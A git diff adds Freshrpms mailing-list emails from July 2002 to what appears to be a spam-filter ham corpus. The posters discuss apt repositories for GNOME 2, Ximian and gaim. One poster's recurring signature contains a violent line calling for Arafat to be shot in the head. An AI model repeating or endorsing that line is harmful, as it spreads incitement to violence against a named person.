/dev/null +++ b/bayes/spamham/easy_ham_2/01147.d239448a535755047478e750e99c64b7 @@ -0,0 +1,107 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:25:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CF12F440C8 + for ; Mon, 22 Jul 2002 14:25:02 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:25:02 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG0vY16220 for + ; Mon, 22 Jul 2002 17:00:57 +0100 +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id PAA27920 for ; + Sun, 21 Jul 2002 15:28:34 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LEC2C15194; Sun, 21 Jul 2002 16:12:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6LEBJC14116 for + ; Sun, 21 Jul 2002 16:11:20 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6LEB8o14366; + Sun, 21 Jul 2002 09:11:08 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: che666@uni.de +Subject: Re: Ximian apt repos? +Message-Id: <20020721091108.085bee34.kilroy@kamakiriad.com> +In-Reply-To: <20020721151211.7140ecdb.che666@uni.de> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> + <20020721151211.7140ecdb.che666@uni.de> +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 09:11:08 -0500 +Date: Sun, 21 Jul 2002 09:11:08 -0500 + +On Sun, 21 Jul 2002 15:12:11 -0400, che wrote: + +> > > > The server mentioned above works again now :)! +> > > +> > > Any problems with the rpm's they provided? +> > +> > #redhat 7.3 +> > rpm http://apt.sunnmore.net gnome2 73 +> > rpm-src http://apt.sunnmore.net gnome2 73 +> > +> > #redhat 7.2 +> > rpm http://apt.sunnmore.net gnome2 72 +> > rpm-src http://apt.sunnmore.net gnome2 72 +> > +> > thats the correct lines to be added to sources.list for the repository +> > +> > i just did a apt-get install gnome-session its still progressing :) +> > +> +> after apt-get install gnome-session +> i did another apt-get upgrade (25 more packages) and it works now... i am in gnome 2.0 wohooooo :) looks very great very "tidy" only error message i got was about a mixer applet on login (no biggie to me) even the old sawfish still works. yet its great and works cant say anythign negative yet :) +> +> just btw. if someone knows any other nice repositorys please post em :). + + Does it work more than once? + + Failed to fetch http://apt.sunnmore.net/gnome2/filename-here.rpm + 404 Not Found + + :) + + Server problems? Or is this a way to limit bandwidth? + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01148.5d8311cf27db42e943c7f668e721db1b b/bayes/spamham/easy_ham_2/01148.5d8311cf27db42e943c7f668e721db1b new file mode 100644 index 0000000..5d2b73c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01148.5d8311cf27db42e943c7f668e721db1b @@ -0,0 +1,113 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:25:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E4DFB440C9 + for ; Mon, 22 Jul 2002 14:25:23 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:25:23 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1kY16817 for + ; Mon, 22 Jul 2002 17:01:46 +0100 +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id EAA25713 for ; + Sun, 21 Jul 2002 04:19:37 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6L3H1C05135; Sun, 21 Jul 2002 05:17:01 + +0200 +Received: from basket.ball.reliam.net (basket.ball.reliam.net + [213.91.6.7]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6L3GjC05092 + for ; Sun, 21 Jul 2002 05:16:45 +0200 +Received: from localhost.localdomain (pD9541FC5.dip.t-dialin.net + [217.84.31.197]) by basket.ball.reliam.net (Postfix) with SMTP id + B277E3D94 for ; Sun, 21 Jul 2002 05:16:39 +0200 + (CEST) +From: che +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020721051108.0fd207d5.che666@uni.de> +In-Reply-To: <1027218043.3516.5.camel@localhost.localdomain> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> +Organization: che +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 05:11:08 -0400 +Date: Sun, 21 Jul 2002 05:11:08 -0400 + +On 21 Jul 2002 14:20:42 +1200 +Mark Derricutt wrote: + +> I found the following mentioned on a news.gnome.org usenet posting. +> I've not yet tried it thou. AFAIK this is just the gnome2 rpms, but +> there ximian's, don't know what else is on the apt repository either, +> must take a look around. +> +> Mark +> +> # Gnome2 - mentioned on news.gnome.org +> rpm http://apt.sunnmore.net/ gnome2 gnome2 +> rpm-src http://apt.sunnmore.net/ gnome2 gnome2 +> +> On Sun, 2002-07-21 at 14:15, Brian Fahrlander wrote: +> > On 20 Jul 2002 17:17:59 -0500, Chris Weyl wrote: +> > +> > > Just a quick question.... does anyone know of a public Ximian apt/rpm +> > > repository? +> > > +> > > (I know, I know.... but some ppl kinda like it:-)) +> > +> > Yeah, I'm one of them. Ximian, if it could be installed from Apt would be sweet- the graphics are done very, very well. The usability is actually higher than most other environments. But their installer really sucks. +> > +> > If you find/setup one (and figure out how to install it) let me know. +> > +> > ------------------------------------------------------------------------ +> > Brian Fahrländer Linux Zealot, Conservative, and Technomad +> > Evansville, IN My Voyage: http://www.CounterMoon.com +> > ICQ 5119262 +> > ------------------------------------------------------------------------ +> > I don't want to hear news from Isreal until the news contains the words +> > "Bullet", "Brain", and "Arafat". +> > +> > _______________________________________________ +> > RPM-List mailing list +> > http://lists.freshrpms.net/mailman/listinfo/rpm-list +> > +> +> +Would be very nice indeed but the server doesent work for me :\ +cant connect to the server! anyone else got a hint? + +thanks, +che + + +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01149.3ed8d90235a56fd4dae5e66941f574d7 b/bayes/spamham/easy_ham_2/01149.3ed8d90235a56fd4dae5e66941f574d7 new file mode 100644 index 0000000..f7a321d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01149.3ed8d90235a56fd4dae5e66941f574d7 @@ -0,0 +1,129 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:25:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 16FD2440C8 + for ; Mon, 22 Jul 2002 14:25:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:25:34 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFl8I10533 for + ; Mon, 22 Jul 2002 16:47:08 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id WAA29124 for ; + Sun, 21 Jul 2002 22:21:00 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LLC2C08231; Sun, 21 Jul 2002 23:12:02 + +0200 +Received: from imf17bis.bellsouth.net (mail317.mail.bellsouth.net + [205.152.58.177]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6LLBLC07855 for ; Sun, 21 Jul 2002 23:11:21 +0200 +Received: from adsl-157-20-24.msy.bellsouth.net ([66.157.20.24]) by + imf17bis.bellsouth.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with ESMTP id + <20020721211248.FMAN22515.imf17bis.bellsouth.net@adsl-157-20-24.msy.bellsouth.net> + for ; Sun, 21 Jul 2002 17:12:48 -0400 +Subject: Re: Ximian apt repos? +From: Lance +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020721151211.7140ecdb.che666@uni.de> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> + <20020721151211.7140ecdb.che666@uni.de> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1027286117.14701.2.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Jul 2002 16:15:16 -0500 +Date: 21 Jul 2002 16:15:16 -0500 + +So to update from GNOME 1.4 to 2.0, after modifying +/etc/apt/sources.list, I just issue 'apt-update' then 'apt-install +gnome-session' ? Also Gaim doesn't work with GNOME 2.0 just yet? + +On Sun, 2002-07-21 at 14:12, che wrote: +> On Sun, 21 Jul 2002 14:50:13 -0400 +> che wrote: +> +> > On 21 Jul 2002 23:59:59 +1200 +> > Mark Derricutt wrote: +> > +> > > On Mon, 2002-07-22 at 06:20, che wrote: +> > > +> > > > The server mentioned above works again now :)! +> > > +> > > Any problems with the rpm's they provided? +> > > +> > > +> > > _______________________________________________ +> > > RPM-List mailing list +> > > http://lists.freshrpms.net/mailman/listinfo/rpm-list +> > +> > #redhat 7.3 +> > rpm http://apt.sunnmore.net gnome2 73 +> > rpm-src http://apt.sunnmore.net gnome2 73 +> > +> > #redhat 7.2 +> > rpm http://apt.sunnmore.net gnome2 72 +> > rpm-src http://apt.sunnmore.net gnome2 72 +> > +> > thats the correct lines to be added to sources.list for the repository +> > +> > i just did a apt-get install gnome-session its still progressing :) +> > +> +> after apt-get install gnome-session +> i did another apt-get upgrade (25 more packages) and it works now... i am in gnome 2.0 wohooooo :) looks very great very "tidy" only error message i got was about a mixer applet on login (no biggie to me) even the old sawfish still works. yet its great and works cant say anythign negative yet :) +> +> just btw. if someone knows any other nice repositorys please post em :). +> +> thanks in advance, +> che +> > _______________________________________________ +> > RPM-List mailing list +> > http://lists.freshrpms.net/mailman/listinfo/rpm-list +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +-- +: +####[ Linux One Stanza Tip (LOST) ]########################### + +Sub : DOS to Unix conversion (#3) LOST #137 + +DOS text files with ^M can be cleared by pico editor. Load the +dos text file in pico, Do a small edit job on it. (e.g. place +a space and delete it again) .. Save .. Quit. All ^Ms gone !! + +######################################## +: + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01150.b4460d83f8b7720853a3bf8cda672692 b/bayes/spamham/easy_ham_2/01150.b4460d83f8b7720853a3bf8cda672692 new file mode 100644 index 0000000..934c925 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01150.b4460d83f8b7720853a3bf8cda672692 @@ -0,0 +1,115 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 20:46:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0E95440C8 + for ; Mon, 22 Jul 2002 15:46:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 20:46:01 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MJjt422035 for + ; Mon, 22 Jul 2002 20:45:55 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6MJf1C07662; Mon, 22 Jul 2002 21:41:02 + +0200 +Received: from imf01bis.bellsouth.net (mail201.mail.bellsouth.net + [205.152.58.141]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6MJe2C29668 for ; Mon, 22 Jul 2002 21:40:02 +0200 +Received: from adsl-157-19-32.msy.bellsouth.net ([66.157.19.32]) by + imf01bis.bellsouth.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with ESMTP id + <20020722194123.ZIQP19924.imf01bis.bellsouth.net@adsl-157-19-32.msy.bellsouth.net> + for ; Mon, 22 Jul 2002 15:41:23 -0400 +Subject: Re: Ximian apt repos? +From: Lance +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020722124156.A19942@cs.helsinki.fi> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> + <20020721151211.7140ecdb.che666@uni.de> + <1027286117.14701.2.camel@localhost.localdomain> + <20020722124156.A19942@cs.helsinki.fi> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1027367035.27216.1.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 22 Jul 2002 14:43:55 -0500 +Date: 22 Jul 2002 14:43:55 -0500 + +well, from the looks of things, Evolution mail client isn't supported +just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt +repositories, thanks!!! + +Lance + +On Mon, 2002-07-22 at 04:41, Harri Haataja wrote: +> On Sun, Jul 21, 2002 at 04:15:16PM -0500, Lance wrote: +> > So to update from GNOME 1.4 to 2.0, after modifying +> > /etc/apt/sources.list, I just issue 'apt-update' then 'apt-install +> > gnome-session' ? +> +> Apparently, yes. Though for me it did suggest all sorts of creepy stuff. +> After installing packages one by one and removing some old stuff and +> whatnot, the original gnome-session from there suddenly no longer +> wanted parted and all that. Go figure. +> +> > Also Gaim doesn't work with GNOME 2.0 just yet? +> +> If you strip out the gnome stuff, it still runs as a Gtk app without the +> applet. Maybe you can even leave in the old panel and all that but I +> think some files will conflict and have to be overridden with +> --replace-files (dangerous). I just rebuilt gaim and made a few changes +> to the .spec adding --without-gnome to %configure or such. It might be +> nice to separate the panel version from the actual program like debian +> does. +> +> Also, bubblemon no longer compiled for me and Yelp had some broken +> dependency there. +> +> -- +> If you only want to go 500 miles, can you begin with a halfstep? +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +-- +: +####[ Linux One Stanza Tip (LOST) ]########################### + +Sub : DOS to Unix conversion (#3) LOST #137 + +DOS text files with ^M can be cleared by pico editor. Load the +dos text file in pico, Do a small edit job on it. (e.g. place +a space and delete it again) .. Save .. Quit. All ^Ms gone !! + +######################################## +: + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01151.47b21fa58a53ac4ac88d78a6e1ccc282 b/bayes/spamham/easy_ham_2/01151.47b21fa58a53ac4ac88d78a6e1ccc282 new file mode 100644 index 0000000..b4a7702 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01151.47b21fa58a53ac4ac88d78a6e1ccc282 @@ -0,0 +1,65 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 23:07:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1BAD3440CC + for ; Mon, 22 Jul 2002 18:07:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 23:07:49 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MM8w402660 for + ; Mon, 22 Jul 2002 23:08:59 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6MLx5C21414; Mon, 22 Jul 2002 23:59:05 + +0200 +Received: from basket.ball.reliam.net (basket.ball.reliam.net + [213.91.6.7]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6MLwAC20507 + for ; Mon, 22 Jul 2002 23:58:10 +0200 +Received: from localhost.localdomain (pD9E5AD4A.dip.t-dialin.net + [217.229.173.74]) by basket.ball.reliam.net (Postfix) with SMTP id + B4F713E07 for ; Mon, 22 Jul 2002 23:58:03 +0200 + (CEST) +From: che +To: rpm-zzzlist@freshrpms.net +Subject: gaim official rpm repository +Message-Id: <20020722235222.196748ca.che666@uni.de> +Organization: che +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 23:52:22 -0400 +Date: Mon, 22 Jul 2002 23:52:22 -0400 + +gaim official apt-rpm repositorys :) + +#gaim +rpm http://gaim.sourceforge.net/apt redhat/7.3/en/i386 release +rpm-src http://gaim.sourceforge.net/apt redhat/7.3/en/i386 release + +thought i should post that one too just fell over it :) + +bye, +che + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01152.0306113715b577b682f6a529da8d45ab b/bayes/spamham/easy_ham_2/01152.0306113715b577b682f6a529da8d45ab new file mode 100644 index 0000000..872dca3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01152.0306113715b577b682f6a529da8d45ab @@ -0,0 +1,75 @@ +From rpm-list-admin@freshrpms.net Tue Jul 23 03:30:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AE09F440C8 + for ; Mon, 22 Jul 2002 22:30:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 03:30:46 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6N2WH420971 for + ; Tue, 23 Jul 2002 03:32:17 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6N2R2C06673; Tue, 23 Jul 2002 04:27:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6N2PjC32587 for + ; Tue, 23 Jul 2002 04:25:45 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6N2PTo18339; + Mon, 22 Jul 2002 21:25:29 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: che666@uni.de +Subject: Re: central management +Message-Id: <20020722212529.6ad783b8.kilroy@kamakiriad.com> +In-Reply-To: <20020722144004.3e8e8f0a.che666@uni.de> +References: <20020722144004.3e8e8f0a.che666@uni.de> +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 21:25:29 -0500 +Date: Mon, 22 Jul 2002 21:25:29 -0500 + +On Mon, 22 Jul 2002 14:40:04 -0400, che wrote: + +> hello! +> well in my eyes something like a public contrib repository would be nice (where everyone can at least upload spec files) and a something like a "repository directory" with a collection of available repositorys and their content. +> +> i am personally on a dsl dialup connection with 16kb/s upstream cap and that kinda sucks perhaps i am gonna still create a respository for small windowmaker dockapps in the future :). +> +> what do you think? + + I was thinkinf about an addition of another file: apt-repositories. Stick it on apt.freshmeat.net (the center of the apt universe, IMHO) and every time a new repository is added, the RPM can be rebuilt. Heck, if I could get out of my depression, I could make the whole submission process automated....even making the RPM... + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01153.8f1eda9dda5ecf5698e94a08217173b1 b/bayes/spamham/easy_ham_2/01153.8f1eda9dda5ecf5698e94a08217173b1 new file mode 100644 index 0000000..5aa5a10 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01153.8f1eda9dda5ecf5698e94a08217173b1 @@ -0,0 +1,82 @@ +From rpm-list-admin@freshrpms.net Tue Jul 23 10:55:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9E10F440CD + for ; Tue, 23 Jul 2002 05:55:58 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 10:55:58 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6N9v6407760 for + ; Tue, 23 Jul 2002 10:57:06 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6N9q3C27992; Tue, 23 Jul 2002 11:52:04 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6N9peC27840 for + ; Tue, 23 Jul 2002 11:51:41 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: central management +Message-Id: <20020723115021.3c01e04a.matthias@egwn.net> +In-Reply-To: <20020722212529.6ad783b8.kilroy@kamakiriad.com> +References: <20020722144004.3e8e8f0a.che666@uni.de> + <20020722212529.6ad783b8.kilroy@kamakiriad.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.7.8claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 11:50:21 +0200 +Date: Tue, 23 Jul 2002 11:50:21 +0200 + +Once upon a time, Brian wrote : + +> I was thinkinf about an addition of another file: apt-repositories. +> Stick it on apt.freshmeat.net (the center of the apt universe, IMHO) +> and every time a new repository is added, the RPM can be rebuilt. +> Heck, if I could get out of my depression, I could make the whole +> submission process automated....even making the RPM... + +Well, I already keep a list of known apt repositories on +http://freshrpms.net/apt/ although I haven't added the ones that were +talked about lately (actually I've been very busy over the week-end and I'm +sick right now...). + +You could make the whole submission automated, even making the rpm? + +http://rpmforge.net/ needs *you*! + + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01154.7e15e192fb60c753bafd505d25990787 b/bayes/spamham/easy_ham_2/01154.7e15e192fb60c753bafd505d25990787 new file mode 100644 index 0000000..7b3efa4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01154.7e15e192fb60c753bafd505d25990787 @@ -0,0 +1,108 @@ +From rpm-list-admin@freshrpms.net Tue Jul 23 21:23:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3CF20440CC + for ; Tue, 23 Jul 2002 16:23:35 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 21:23:35 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net 